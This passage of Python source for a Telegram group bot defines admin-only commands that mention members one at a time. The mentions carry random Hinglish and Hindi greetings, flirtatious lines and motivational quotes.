" **➠ ᴋᴀʟ sᴜʙʜᴀ sᴄʜᴏᴏʟ ɴᴀʜɪ ᴊᴀɴᴀ ᴋʏᴀ, ᴊᴏ ᴀʙʜɪ ᴛᴀᴋ ᴊᴀɢ ʀʜᴇ ʜᴏ 🏫** ",
" **➠ ʙᴀʙᴜ, ɢᴏᴏᴅ ɴɪɢʜᴛ sᴅ ᴛᴄ..?? 😊** ",
" **➠ ᴀᴀᴊ ʙʜᴜᴛ ᴛʜᴀɴᴅ ʜᴀɪ, ᴀᴀʀᴀᴍ sᴇ ᴊᴀʟᴅɪ sᴏ ᴊᴀᴛɪ ʜᴏᴏɴ 🌼** ",
" **➠ ᴊᴀɴᴇᴍᴀɴ, ɢᴏᴏᴅ ɴɪɢʜᴛ 🌷** ",
" **➠ ᴍᴇ ᴊᴀ ʀᴀʜɪ sᴏɴᴇ, ɢɴ sᴅ ᴛᴄ 🏵️** ",
" **➠ ʜᴇʟʟᴏ ᴊɪ ɴᴀᴍᴀsᴛᴇ, ɢᴏᴏᴅ ɴɪɢʜᴛ 🍃** ",
" **➠ ʜᴇʏ, ʙᴀʙʏ ᴋᴋʀʜ..? sᴏɴᴀ ɴᴀʜɪ ʜᴀɪ ᴋʏᴀ ☃️** ",
" **➠ ɢᴏᴏᴅ ɴɪɢʜᴛ ᴊɪ, ʙʜᴜᴛ ʀᴀᴀᴛ ʜᴏ ɢʏɪ..? ⛄** ",
" **➠ ᴍᴇ ᴊᴀ ʀᴀʜɪ ʀᴏɴᴇ, ɪ ᴍᴇᴀɴ sᴏɴᴇ ɢᴏᴏᴅ ɴɪɢʜᴛ ᴊɪ 😁** ",
" **➠ ᴍᴀᴄʜʜᴀʟɪ ᴋᴏ ᴋᴇʜᴛᴇ ʜᴀɪ ғɪsʜ, ɢᴏᴏᴅ ɴɪɢʜᴛ ᴅᴇᴀʀ ᴍᴀᴛ ᴋʀɴᴀ ᴍɪss, ᴊᴀ ʀʜɪ sᴏɴᴇ 🌄** ",
" **➠ ɢᴏᴏᴅ ɴɪɢʜᴛ ʙʀɪɢʜᴛғᴜʟʟ ɴɪɢʜᴛ 🤭** ",
" **➠ ᴛʜᴇ ɴɪɢʜᴛ ʜᴀs ғᴀʟʟᴇɴ, ᴛʜᴇ ᴅᴀʏ ɪs ᴅᴏɴᴇ,, ᴛʜᴇ ᴍᴏᴏɴ ʜᴀs ᴛᴀᴋᴇɴ ᴛʜᴇ ᴘʟᴀᴄᴇ ᴏғ ᴛʜᴇ sᴜɴ... 😊** ",
" **➠ ᴍᴀʏ ᴀʟʟ ʏᴏᴜʀ ᴅʀᴇᴀᴍs ᴄᴏᴍᴇ ᴛʀᴜᴇ ❤️** ",
" **➠ ɢᴏᴏᴅ ɴɪɢʜᴛ sᴘʀɪɴᴋʟᴇs sᴡᴇᴇᴛ ᴅʀᴇᴀᴍ 💚** ",
" **➠ ɢᴏᴏᴅ ɴɪɢʜᴛ, ɴɪɴᴅ ᴀᴀ ʀʜɪ ʜᴀɪ 🥱** ",
" **➠ ᴅᴇᴀʀ ғʀɪᴇɴᴅ ɢᴏᴏᴅ ɴɪɢʜᴛ 💤** ",
" **➠ ʙᴀʙʏ ᴀᴀᴊ ʀᴀᴀᴛ ᴋᴀ sᴄᴇɴᴇ ʙɴᴀ ʟᴇ 🥰** ",
" **➠ ɪᴛɴɪ ʀᴀᴀᴛ ᴍᴇ ᴊᴀɢ ᴋᴀʀ ᴋʏᴀ ᴋᴀʀ ʀʜᴇ ʜᴏ sᴏɴᴀ ɴᴀʜɪ ʜᴀɪ ᴋʏᴀ 😜** ",
" **➠ ᴄʟᴏsᴇ ʏᴏᴜʀ ᴇʏᴇs sɴᴜɢɢʟᴇ ᴜᴘ ᴛɪɢʜᴛ,, ᴀɴᴅ ʀᴇᴍᴇᴍʙᴇʀ ᴛʜᴀᴛ ᴀɴɢᴇʟs, ᴡɪʟʟ ᴡᴀᴛᴄʜ ᴏᴠᴇʀ ʏᴏᴜ ᴛᴏɴɪɢʜᴛ... 💫** ",
]
VC_TAG = [ "**➠ ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ, ᴋᴇsᴇ ʜᴏ 🐱**",
"**➠ ɢᴍ, sᴜʙʜᴀ ʜᴏ ɢʏɪ ᴜᴛʜɴᴀ ɴᴀʜɪ ʜᴀɪ ᴋʏᴀ 🌤️**",
"**➠ ɢᴍ ʙᴀʙʏ, ᴄʜᴀɪ ᴘɪ ʟᴏ ☕**",
"**➠ ᴊᴀʟᴅɪ ᴜᴛʜᴏ, sᴄʜᴏᴏʟ ɴᴀʜɪ ᴊᴀɴᴀ ᴋʏᴀ 🏫**",
"**➠ ɢᴍ, ᴄʜᴜᴘ ᴄʜᴀᴘ ʙɪsᴛᴇʀ sᴇ ᴜᴛʜᴏ ᴠʀɴᴀ ᴘᴀɴɪ ᴅᴀʟ ᴅᴜɴɢɪ 🧊**",
"**➠ ʙᴀʙʏ ᴜᴛʜᴏ ᴀᴜʀ ᴊᴀʟᴅɪ ғʀᴇsʜ ʜᴏ ᴊᴀᴏ, ɴᴀsᴛᴀ ʀᴇᴀᴅʏ ʜᴀɪ 🫕**",
"**➠ ᴏғғɪᴄᴇ ɴᴀʜɪ ᴊᴀɴᴀ ᴋʏᴀ ᴊɪ ᴀᴀᴊ, ᴀʙʜɪ ᴛᴀᴋ ᴜᴛʜᴇ ɴᴀʜɪ 🏣**",
"**➠ ɢᴍ ᴅᴏsᴛ, ᴄᴏғғᴇᴇ/ᴛᴇᴀ ᴋʏᴀ ʟᴏɢᴇ ☕🍵**",
"**➠ ʙᴀʙʏ 8 ʙᴀᴊɴᴇ ᴡᴀʟᴇ ʜᴀɪ, ᴀᴜʀ ᴛᴜᴍ ᴀʙʜɪ ᴛᴋ ᴜᴛʜᴇ ɴᴀʜɪ 🕖**",
"**➠ ᴋʜᴜᴍʙʜᴋᴀʀᴀɴ ᴋɪ ᴀᴜʟᴀᴅ ᴜᴛʜ ᴊᴀᴀ... ☃️**",
"**➠ ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ʜᴀᴠᴇ ᴀ ɴɪᴄᴇ ᴅᴀʏ... 🌄**",
"**➠ ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ, ʜᴀᴠᴇ ᴀ ɢᴏᴏᴅ ᴅᴀʏ... 🪴**",
"**➠ ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ, ʜᴏᴡ ᴀʀᴇ ʏᴏᴜ ʙᴀʙʏ 😇**",
"**➠ ᴍᴜᴍᴍʏ ᴅᴇᴋʜᴏ ʏᴇ ɴᴀʟᴀʏᴋ ᴀʙʜɪ ᴛᴀᴋ sᴏ ʀʜᴀ ʜᴀɪ... 😵💫**",
"**➠ ʀᴀᴀᴛ ʙʜᴀʀ ʙᴀʙᴜ sᴏɴᴀ ᴋʀ ʀʜᴇ ᴛʜᴇ ᴋʏᴀ, ᴊᴏ ᴀʙʜɪ ᴛᴋ sᴏ ʀʜᴇ ʜᴏ ᴜᴛʜɴᴀ ɴᴀʜɪ ʜᴀɪ ᴋʏᴀ... 😏**",
"**➠ ʙᴀʙᴜ ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴜᴛʜ ᴊᴀᴏ ᴀᴜʀ ɢʀᴏᴜᴘ ᴍᴇ sᴀʙ ғʀɪᴇɴᴅs ᴋᴏ ɢᴍ ᴡɪsʜ ᴋʀᴏ... 🌟**",
"**➠ ᴘᴀᴘᴀ ʏᴇ ᴀʙʜɪ ᴛᴀᴋ ᴜᴛʜ ɴᴀʜɪ, sᴄʜᴏᴏʟ ᴋᴀ ᴛɪᴍᴇ ɴɪᴋᴀʟᴛᴀ ᴊᴀ ʀʜᴀ ʜᴀɪ... 🥲**",
"**➠ ᴊᴀɴᴇᴍᴀɴ ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ, ᴋʏᴀ ᴋʀ ʀʜᴇ ʜᴏ ... 😅**",
"**➠ ɢᴍ ʙᴇᴀsᴛɪᴇ, ʙʀᴇᴀᴋғᴀsᴛ ʜᴜᴀ ᴋʏᴀ... 🍳**",
]
@app.on_message(filters.command(["gntag", "tagmember" ], prefixes=["/", "@", "#"]))
async def mentionall(client, message):
chat_id = message.chat.id
if message.chat.type == ChatType.PRIVATE:
return await message.reply("๏ ᴛʜɪs ᴄᴏᴍᴍᴀɴᴅ ᴏɴʟʏ ғᴏʀ ɢʀᴏᴜᴘs.")
is_admin = False
try:
participant = await client.get_chat_member(chat_id, message.from_user.id)
except UserNotParticipant:
is_admin = False
else:
if participant.status in (
ChatMemberStatus.ADMINISTRATOR,
ChatMemberStatus.OWNER
):
is_admin = True
if not is_admin:
return await message.reply("๏ ʏᴏᴜ ᴀʀᴇ ɴᴏᴛ ᴀᴅᴍɪɴ ʙᴀʙʏ, ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴛᴀɢ ᴍᴇᴍʙᴇʀs. ")
if message.reply_to_message and message.text:
return await message.reply("/tagall ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴛʏᴘᴇ ʟɪᴋᴇ ᴛʜɪs / ʀᴇᴘʟʏ ᴀɴʏ ᴍᴇssᴀɢᴇ ɴᴇxᴛ ᴛɪᴍᴇ ʙᴏᴛ ᴛᴀɢɢɪɴɢ...")
elif message.text:
mode = "text_on_cmd"
msg = message.text
elif message.reply_to_message:
mode = "text_on_reply"
msg = message.reply_to_message
if not msg:
return await message.reply("/tagall ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴛʏᴘᴇ ʟɪᴋᴇ ᴛʜɪs / ʀᴇᴘʟʏ ᴀɴʏ ᴍᴇssᴀɢᴇ ɴᴇxᴛ ᴛɪᴍᴇ ғᴏᴛ ᴛᴀɢɢɪɴɢ...")
else:
return await message.reply("/tagall ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴛʏᴘᴇ ʟɪᴋᴇ ᴛʜɪs / ʀᴇᴘʟʏ ᴀɴʏ ᴍᴇssᴀɢᴇ ɴᴇxᴛ ᴛɪᴍᴇ ʙᴏᴛ ᴛᴀɢɢɪɴɢ...")
if chat_id in spam_chats:
return await message.reply("๏ ᴘʟᴇᴀsᴇ ᴀᴛ ғɪʀsᴛ sᴛᴏᴘ ʀᴜɴɴɪɴɢ ᴍᴇɴᴛɪᴏɴ ᴘʀᴏᴄᴇss...")
spam_chats.append(chat_id)
usrnum = 0
usrtxt = ""
async for usr in client.get_chat_members(chat_id):
if not chat_id in spam_chats:
break
if usr.user.is_bot:
continue
usrnum += 1
usrtxt += "{}".format(usr.user.id, usr.user.first_name)
if usrnum == 1:
if mode == "text_on_cmd":
txt = f"{usrtxt} {random.choice(TAGMES)}"
await client.send_message(chat_id, txt)
elif mode == "text_on_reply":
await msg.reply(f"[{random.choice(EMOJI)}](tg://user?id={usr.user.id})")
await asyncio.sleep(4)
usrnum = 0
usrtxt = ""
try:
spam_chats.remove(chat_id)
except:
pass
@app.on_message(filters.command(["gmtag"], prefixes=["/", "@", "#"]))
async def mention_allvc(client, message):
chat_id = message.chat.id
if message.chat.type == ChatType.PRIVATE:
return await message.reply("๏ ᴛʜɪs ᴄᴏᴍᴍᴀɴᴅ ᴏɴʟʏ ғᴏʀ ɢʀᴏᴜᴘs.")
is_admin = False
try:
participant = await client.get_chat_member(chat_id, message.from_user.id)
except UserNotParticipant:
is_admin = False
else:
if participant.status in (
ChatMemberStatus.ADMINISTRATOR,
ChatMemberStatus.OWNER
):
is_admin = True
if not is_admin:
return await message.reply("๏ ʏᴏᴜ ᴀʀᴇ ɴᴏᴛ ᴀᴅᴍɪɴ ʙᴀʙʏ, ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴛᴀɢ ᴍᴇᴍʙᴇʀs. ")
if chat_id in spam_chats:
return await message.reply("๏ ᴘʟᴇᴀsᴇ ᴀᴛ ғɪʀsᴛ sᴛᴏᴘ ʀᴜɴɴɪɴɢ ᴍᴇɴᴛɪᴏɴ ᴘʀᴏᴄᴇss...")
spam_chats.append(chat_id)
usrnum = 0
usrtxt = ""
async for usr in client.get_chat_members(chat_id):
if not chat_id in spam_chats:
break
if usr.user.is_bot:
continue
usrnum += 1
usrtxt += "{}".format(usr.user.id, usr.user.first_name)
if usrnum == 1:
txt = f"{usrtxt} {random.choice(VC_TAG)}"
await client.send_message(chat_id, txt)
await asyncio.sleep(4)
usrnum = 0
usrtxt = ""
try:
spam_chats.remove(chat_id)
except:
pass
@app.on_message(filters.command(["gmstop", "gnstop", "cancle"]))
async def cancel_spam(client, message):
if not message.chat.id in spam_chats:
return await message.reply("๏ ᴄᴜʀʀᴇɴᴛʟʏ ɪ'ᴍ ɴᴏᴛ ᴛᴀɢɢɪɴɢ ʙᴀʙʏ.")
is_admin = False
try:
participant = await client.get_chat_member(message.chat.id, message.from_user.id)
except UserNotParticipant:
is_admin = False
else:
if participant.status in (
ChatMemberStatus.ADMINISTRATOR,
ChatMemberStatus.OWNER
):
is_admin = True
if not is_admin:
return await message.reply("๏ ʏᴏᴜ ᴀʀᴇ ɴᴏᴛ ᴀᴅᴍɪɴ ʙᴀʙʏ, ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴛᴀɢ ᴍᴇᴍʙᴇʀs.")
else:
try:
spam_chats.remove(message.chat.id)
except:
pass
return await message.reply("๏ ᴍᴇɴᴛɪᴏɴ ᴘʀᴏᴄᴇss sᴛᴏᴘᴘᴇᴅ ๏")
================================================
FILE: BrandrdXMusic/plugins/admins/hitag.py
================================================
from BrandrdXMusic import app
import asyncio
import random
from pyrogram import Client, filters
from pyrogram.enums import ChatType, ChatMemberStatus
from pyrogram.errors import UserNotParticipant
from pyrogram.types import ChatPermissions
spam_chats = []
EMOJI = [ "🦋🦋🦋🦋🦋",
"🧚🌸🧋🍬🫖",
"🥀🌷🌹🌺💐",
"🌸🌿💮🌱🌵",
"❤️💚💙💜🖤",
"💓💕💞💗💖",
"🌸💐🌺🌹🦋",
"🍔🦪🍛🍲🥗",
"🍎🍓🍒🍑🌶️",
"🧋🥤🧋🥛🍷",
"🍬🍭🧁🎂🍡",
"🍨🧉🍺☕🍻",
"🥪🥧🍦🍥🍚",
"🫖☕🍹🍷🥛",
"☕🧃🍩🍦🍙",
"🍁🌾💮🍂🌿",
"🌨️🌥️⛈️🌩️🌧️",
"🌷🏵️🌸🌺💐",
"💮🌼🌻🍀🍁",
"🧟🦸🦹🧙👸",
"🧅🍠🥕🌽🥦",
"🐷🐹🐭🐨🐻❄️",
"🦋🐇🐀🐈🐈⬛",
"🌼🌳🌲🌴🌵",
"🥩🍋🍐🍈🍇",
"🍴🍽️🔪🍶🥃",
"🕌🏰🏩⛩️🏩",
"🎉🎊🎈🎂🎀",
"🪴🌵🌴🌳🌲",
"🎄🎋🎍🎑🎎",
"🦅🦜🕊️🦤🦢",
"🦤🦩🦚🦃🦆",
"🐬🦭🦈🐋🐳",
"🐔🐟🐠🐡🦐",
"🦩🦀🦑🐙🦪",
"🐦🦂🕷️🕸️🐚",
"🥪🍰🥧🍨🍨",
" 🥬🍉🧁🧇",
]
TAGMES = [ " **❅ बेबी कहा हो। 🤗** ",
" **❅ ओए सो गए क्या, ऑनलाइन आओ ।😊** ",
" **❅ ओए वीसी आओ बात करते हैं । 😃** ",
" **❅ खाना खाया कि नही। 🥲** ",
" **❅ घर में सब कैसे हैं। 🥺** ",
" **❅ पता है बहुत याद आ रही आपकी। 🤭** ",
" **❅ और बताओ कैसे हो।..?? 🤨** ",
" **❅ मेरी भी सैटिंग करवा दो प्लीज..?? 🙂** ",
" **❅ आपका नाम क्या है।..?? 🥲** ",
" **❅ नाश्ता हो गया..?? 😋** ",
" **❅ मुझे अपने ग्रूप में ऐड कर लो। 😍** ",
" **❅ आपका दोस्त आपको बुला रहा है। 😅** ",
" **❅ मुझसे शादी करोगे ..?? 🤔** ",
" **❅ सोने चले गए क्या 🙄** ",
" **❅ अरे यार कोई AC चला दो 😕** ",
" **❅ आप कहा से हो..?? 🙃** ",
" **❅ हेलो जी नमस्ते 😛** ",
" **❅ BABY क्या कर रही हो..? 🤔** ",
" **❅ क्या आप मुझे जानते हो .? ☺️** ",
" **❅ आओ baby Ludo खेलते है .🤗** ",
" **❅ चलती है क्या 9 से 12... 😇** ",
" **❅ आपके पापा क्या करते है 🤭** ",
" **❅ आओ baby बाजार चलते है गोलगप्पे खाने। 🥺** ",
" **❅ अकेली ना बाजार जाया करो, नज़र लग जायेगी। 😶** ",
" **❅ और बताओ BF कैसा है ..?? 🤔** ",
" **❅ गुड मॉर्निंग 😜** ",
" **❅ मेरा एक काम करोगे। 🙂** ",
" **❅ DJ वाले बाबू मेरा गाना चला दो। 😪** ",
" **❅ आप से मिलकर अच्छा लगा।☺** ",
" **❅ मेरे बाबू ने थाना थाया।..? 🙊** ",
" **❅ पढ़ाई कैसी चल रही हैं ? 😺** ",
" **❅ हम को प्यार हुआ। 🥲** ",
" **❅ Nykaa कौन है...? 😅** ",
" **❅ तू खींच मेरी फ़ोटो ..? 😅** ",
" **❅ Phone काट मम्मी आ गई क्या। 😆** ",
" **❅ और भाबी से कब मिल वा रहे हो । 😉** ",
" **❅ क्या आप मुझसे प्यार करते हो 💚** ",
" **❅ मैं तुम से बहुत प्यार करती हूं..? 👀** ",
" **❅ बेबी एक kiss दो ना..?? 🙉** ",
" **❅ एक जॉक सुनाऊं..? 😹** ",
" **❅ vc पर आओ कुछ दिखाती हूं 😻** ",
" **❅ क्या तुम instagram चलते हो..?? 🙃** ",
" **❅ whatsapp नंबर दो ना अपना..? 😕** ",
" **❅ आप की दोस्त से मेरी सेटिंग करा दो ..? 🙃** ",
" **❅ सारा काम हो गया हो तो ऑनलाइन आ जाओ।..? 🙃** ",
" **❅ कहा से हो आप 😊** ",
" **❅ जा तुझे आज़ाद कर दिया मैंने मेरे दिल से। 🥺** ",
" **❅ मेरा एक काम करोगे, ग्रूप मे कुछ मेंबर ऐड कर दो ..? ♥️** ",
" **❅ मैं तुमसे नाराज़ हूं 😠** ",
" **❅ आपकी फैमिली कैसी है..? ❤** ",
" **❅ क्या हुआ..? 🤔** ",
" **❅ बहुत याद आ रही है आपकी 😒** ",
" **❅ भूल गए मुझे 😏** ",
" **❅ झूठ क्यों बोला आपने मुझसे 🤐** ",
" **❅ इतना भाव मत खाया करो, रोटी खाया करो कम से कम मोटी तो हो जाओगी 😒** ",
" **❅ ये attitude किसे @BRANDED_PAID_CC दिखा रहे हो 😮** ",
" **❅ हेमलो कहा busy ho 👀** ",
" **❅ आपके जैसा दोस्त पाकर मे बहुत खुश हूं। 🙈** ",
" **❅ आज मन बहुत उदास है ☹️** ",
" **❅ मुझसे भी बात कर लो ना 🥺** ",
" **❅ आज खाने में क्या बनाया है 👀** ",
" **❅ क्या चल रहा है 🙂** ",
" **❅ message क्यों नहीं करती हो..🥺** ",
" **❅ मैं मासूम हूं ना 🥺** ",
" **❅ कल मज़ा आया था ना 😅** ",
" **❅ कल कहा busy थे 😕** ",
" **❅ आप relationship में हो क्या..? 👀** ",
" **❅ कितने शांत रहते हो यार आप 😼** ",
" **❅ आपको गाना, गाना आता है..? 😸** ",
" **❅ घूमने चलोगे मेरे साथ..?? 🙈** ",
" **❅ हमेशा हैप्पी रहा करो यार 🤞** ",
" **❅ क्या हम दोस्त बन सकते है...? 🥰** ",
" **❅ आप का विवाह हो गया क्या.. 🥺** ",
" **❅ कहा busy the इतने दिनों से 🥲** ",
" **❅ single हो या mingle 😉** ",
" **❅ आओ पार्टी करते है 🥳** ",
" **❅ Bio में link हैं join कर लो 🧐** ",
" **❅ मैं तुमसे प्यार नहीं करती, 🥺** ",
" **❅ यहां आ जाओ ना @BRANDED_WORLD मस्ती करेंगे 🤭** ",
" **❅ भूल जाओ मुझे,..? 😊** ",
" **❅ अपना बना ले पिया, अपना बना ले 🥺** ",
" **❅ मेरा ग्रुप भी join कर लो ना 🤗** ",
" **❅ मैने तेरा नाम Dil rakh diya 😗** ",
" **❅ तुमारे सारे दोस्त कहा गए 🥺** ",
" **❅ my cute owner @BRANDRD_BOT 🥰** ",
" **❅ किसकी याद मे खोए हो जान 😜** ",
" **❅ गुड नाईट जी बहुत रात हो गई 🥰** ",
]
VC_TAG = [ "**❅ ɪғ ʏᴏᴜ ᴅᴏ ɴᴏᴛ sᴛᴇᴘ ғᴏʀᴡᴀʀᴅ ʏᴏᴜ ᴡɪʟʟ ʀᴇᴍᴀɪɴ ɪɴ ᴛʜᴇ sᴀᴍᴇ ᴘʟᴀᴄᴇ.**",
"**❅ ʟɪғᴇ ɪs ʜᴀʀᴅ ʙᴜᴛ ɴᴏᴛ ɪᴍᴘᴏssɪʙʟᴇ.**",
"**❅ ʟɪғᴇ’s ᴛᴏᴏ sʜᴏʀᴛ ᴛᴏ ᴀʀɢᴜᴇ ᴀɴᴅ ғɪɢʜᴛ.**",
"**❅ ᴅᴏɴ’ᴛ ᴡᴀɪᴛ ғᴏʀ ᴛʜᴇ ᴘᴇʀғᴇᴄᴛ ᴍᴏᴍᴇɴᴛ ᴛᴀᴋᴇ ᴍᴏᴍᴇɴᴛ ᴀɴᴅ ᴍᴀᴋᴇ ɪᴛ ᴘᴇʀғᴇᴄᴛ.**",
"**❅ sɪʟᴇɴᴄᴇ ɪs ᴛʜᴇ ʙᴇsᴛ ᴀɴsᴡᴇʀ ᴛᴏ sᴏᴍᴇᴏɴᴇ ᴡʜᴏ ᴅᴏᴇsɴ’ᴛ ᴠᴀʟᴜᴇ ʏᴏᴜʀ ᴡᴏʀᴅs.**",
"**❅ ᴇᴠᴇʀʏ ɴᴇᴡ ᴅᴀʏ ɪs ᴀ ᴄʜᴀɴᴄᴇ ᴛᴏ ᴄʜᴀɴɢᴇ ʏᴏᴜʀ ʟɪғᴇ.**",
"**❅ ᴛᴏ ᴄʜᴀɴɢᴇ ʏᴏᴜʀ ʟɪғᴇ, ʏᴏᴜ ɴᴇᴇᴅ ᴛᴏ ᴄʜᴀɴɢᴇ ʏᴏᴜʀ ᴘʀɪᴏʀɪᴛɪᴇs.**",
"**❅ ʟɪғᴇ ɪs ᴀ ᴊᴏᴜʀɴᴇʏ, ɴᴏᴛ ᴀ ʀᴀᴄᴇ..**",
"**❅ sᴍɪʟᴇ ᴀɴᴅ ᴅᴏɴ’ᴛ ᴡᴏʀʀʏ, ʟɪғᴇ ɪs ᴀᴡᴇsᴏᴍᴇ.**",
"**❅ ᴅᴏ ɴᴏᴛ ᴄᴏᴍᴘᴀʀᴇ ʏᴏᴜʀsᴇʟғ ᴛᴏ ᴏᴛʜᴇʀs ɪғ ʏᴏᴜ ᴅᴏ sᴏ ʏᴏᴜ ᴀʀᴇ ɪɴsᴜʟᴛɪɴɢ ʏᴏᴜʀsᴇʟғ.**",
"**❅ ɪ ᴀᴍ ɪɴ ᴛʜᴇ ᴘʀᴏᴄᴇss ᴏғ ʙᴇᴄᴏᴍɪɴɢ ᴛʜᴇ ʙᴇsᴛ ᴠᴇʀsɪᴏɴ ᴏғ ᴍʏsᴇʟғ.**",
"**❅ ʟɪғᴇ ɪs ʟɪᴋᴇ ɪᴄᴇ ᴇɴᴊᴏʏ ɪᴛ ʙᴇғᴏʀᴇ ɪᴛ ᴍᴇʟᴛs.**",
"**❅ ʙᴇ ғʀᴇᴇ ʟɪᴋᴇ ᴀ ʙɪʀᴅ.**",
"**❅ ɴᴏ ᴏɴᴇ ɪs ᴄᴏᴍɪɴɢ ᴛᴏ sᴀᴠᴇ ʏᴏᴜ. ᴛʜɪs ʟɪғᴇ ᴏғ ʏᴏᴜʀ ɪs 100% ʏᴏᴜʀ ʀᴇsᴘᴏɴsɪʙɪʟɪᴛʏ..**",
"**❅ ʟɪғᴇ ᴀʟᴡᴀʏs ᴏғғᴇʀs ʏᴏᴜ ᴀ sᴇᴄᴏɴᴅ ᴄʜᴀɴᴄᴇ. ɪᴛ’s ᴄᴀʟʟᴇᴅ ᴛᴏᴍᴏʀʀᴏᴡ.**",
"**❅ ʟɪғᴇ ʙᴇɢɪɴs ᴀᴛ ᴛʜᴇ ᴇɴᴅ ᴏғ ʏᴏᴜʀ ᴄᴏᴍғᴏʀᴛ ᴢᴏɴᴇ.**",
"**❅ ᴀʟʟ ᴛʜᴇ ᴛʜɪɴɢs ᴛʜᴀᴛ ʜᴜʀᴛ ʏᴏᴜ, ᴀᴄᴛᴜᴀʟʟʏ ᴛᴇᴀᴄʜ ʏᴏᴜ.**",
"**❅ ʟɪғᴇ ɪs ʟɪᴋᴇ ᴀ ᴄᴀᴍᴇʀᴀ. sᴏ ғᴀᴄᴇ ɪᴛ ᴡɪᴛʜ ᴀ sᴍɪʟᴇ.**",
"**❅ ʟɪғᴇ ɪs 10% ᴏғ ᴡʜᴀᴛ ʜᴀᴘᴘᴇɴs ᴛᴏ ʏᴏᴜ ᴀɴᴅ 90% ᴏғ ʜᴏᴡ ʏᴏᴜ ʀᴇsᴘᴏɴᴅ ᴛᴏ ɪᴛ.**",
"**❅ ʟɪғᴇ ᴀʟᴡᴀʏs ᴏғғᴇʀs ʏᴏᴜ ᴀ sᴇᴄᴏɴᴅ ᴄʜᴀɴᴄᴇ. ɪᴛ’s ᴄᴀʟʟᴇᴅ ᴛᴏᴍᴏʀʀᴏᴡ.**",
"**❅ ɴᴏ ᴏɴᴇ ɪs ᴄᴏᴍɪɴɢ ᴛᴏ sᴀᴠᴇ ʏᴏᴜ. ᴛʜɪs ʟɪғᴇ ᴏғ ʏᴏᴜʀ ɪs 100% ʏᴏᴜʀ ʀᴇsᴘᴏɴsɪʙɪʟɪᴛʏ..**",
"**❅ ʟɪғᴇ ɪs ɴᴏᴛ ᴀɴ ᴇᴀsʏ ᴛᴀsᴋ.**",
"**❅ ʟɪғᴇ ɪs ᴀ ᴡᴏɴᴅᴇʀғᴜʟ ᴀᴅᴠᴇɴᴛᴜʀᴇ.**",
"**❅ ʟɪғᴇ ʙᴇɢɪɴs ᴏɴ ᴛʜᴇ ᴏᴛʜᴇʀ sɪᴅᴇ ᴏғ ᴅᴇsᴘᴀɪʀ.**",
"**❅ ʟɪғᴇ ɪs ɴᴏᴛ ᴀ ᴘʀᴏʙʟᴇᴍ ᴛᴏ ʙᴇ sᴏʟᴠᴇᴅ ʙᴜᴛ ᴀ ʀᴇᴀʟɪᴛʏ ᴛᴏ ʙᴇ ᴇxᴘᴇʀɪᴇɴᴄᴇᴅ.**",
"**❅ ʟɪғᴇ ᴅᴏᴇs ɴᴏᴛ ʜᴀᴠᴇ ᴀ ʀᴇᴍᴏᴛᴇ; ɢᴇᴛ ᴜᴘ ᴀɴᴅ ᴄʜᴀɴɢᴇ ɪᴛ ʏᴏᴜʀsᴇʟғ.**",
"**❅ sᴛᴀʀᴛ ᴛʀᴜsᴛɪɴɢ ʏᴏᴜʀsᴇʟғ, ᴀɴᴅ ʏᴏᴜ’ʟʟ ᴋɴᴏᴡ ʜᴏᴡ ᴛᴏ ʟɪᴠᴇ.**",
"**❅ ʜᴇᴀʟᴛʜ ɪs ᴛʜᴇ ᴍᴏsᴛ ɪᴍᴘᴏʀᴛᴀɴᴛ ɢᴏᴏᴅ ᴏғ ʟɪғᴇ.**",
"**❅ ᴛɪᴍᴇ ᴄʜᴀɴɢᴇ ᴘʀɪᴏʀɪᴛʏ ᴄʜᴀɴɢᴇs.**",
"**❅ ᴛᴏ sᴇᴇ ᴀɴᴅ ᴛᴏ ғᴇᴇʟ ᴍᴇᴀɴs ᴛᴏ ʙᴇ, ᴛʜɪɴᴋ ᴀɴᴅ ʟɪᴠᴇ.**",
"**❅ ʙᴇ ᴡɪᴛʜ sᴏᴍᴇᴏɴᴇ ᴡʜᴏ ʙʀɪɴɢs ᴏᴜᴛ ᴛʜᴇ ʙᴇsᴛ ᴏғ ʏᴏᴜ.**",
"**❅ ʏᴏᴜʀ ᴛʜᴏᴜɢʜᴛs ᴀʀᴇ ʏᴏᴜʀ ʟɪғᴇ.**",
"**❅ ᴘᴇᴏᴘʟᴇ ᴄʜᴀɴɢᴇ, ᴍᴇᴍᴏʀɪᴇs ᴅᴏɴ’ᴛ.**",
"**❅ ᴏᴜʀ ʟɪғᴇ ɪs ᴡʜᴀᴛ ᴡᴇ ᴛʜɪɴᴋ ɪᴛ ɪs.**",
"**❅ ʟɪɢʜᴛ ʜᴇᴀʀᴛ ʟɪᴠᴇs ʟᴏɴɢᴇʀ.**",
"**❅ ᴅᴇᴘʀᴇssɪᴏɴ ᴇᴠᴇɴᴛᴜᴀʟʟʏ ʙᴇᴄᴏᴍᴇs ᴀ ʜᴀʙɪᴛ.**",
"**❅ ʟɪғᴇ ɪs ᴀ ɢɪғᴛ. ᴛʀᴇᴀᴛ ɪᴛ ᴡᴇʟʟ.**",
"**❅ ʟɪғᴇ ɪs ᴡʜᴀᴛ ᴏᴜʀ ғᴇᴇʟɪɴɢs ᴅᴏ ᴡɪᴛʜ ᴜs.**",
"**❅ ᴡʀɪɴᴋʟᴇs ᴀʀᴇ ᴛʜᴇ ʟɪɴᴇs ᴏғ ʟɪғᴇ ᴏɴ ᴛʜᴇ ғᴀᴄᴇ.**",
"**❅ ʟɪғᴇ ɪs ᴍᴀᴅᴇ ᴜᴘ ᴏғ sᴏʙs, sɴɪғғʟᴇs, ᴀɴᴅ sᴍɪʟᴇs.**",
"**❅ ɴᴏᴛ ʟɪғᴇ, ʙᴜᴛ ɢᴏᴏᴅ ʟɪғᴇ, ɪs ᴛᴏ ʙᴇ ᴄʜɪᴇғʟʏ ᴠᴀʟᴜᴇᴅ.**",
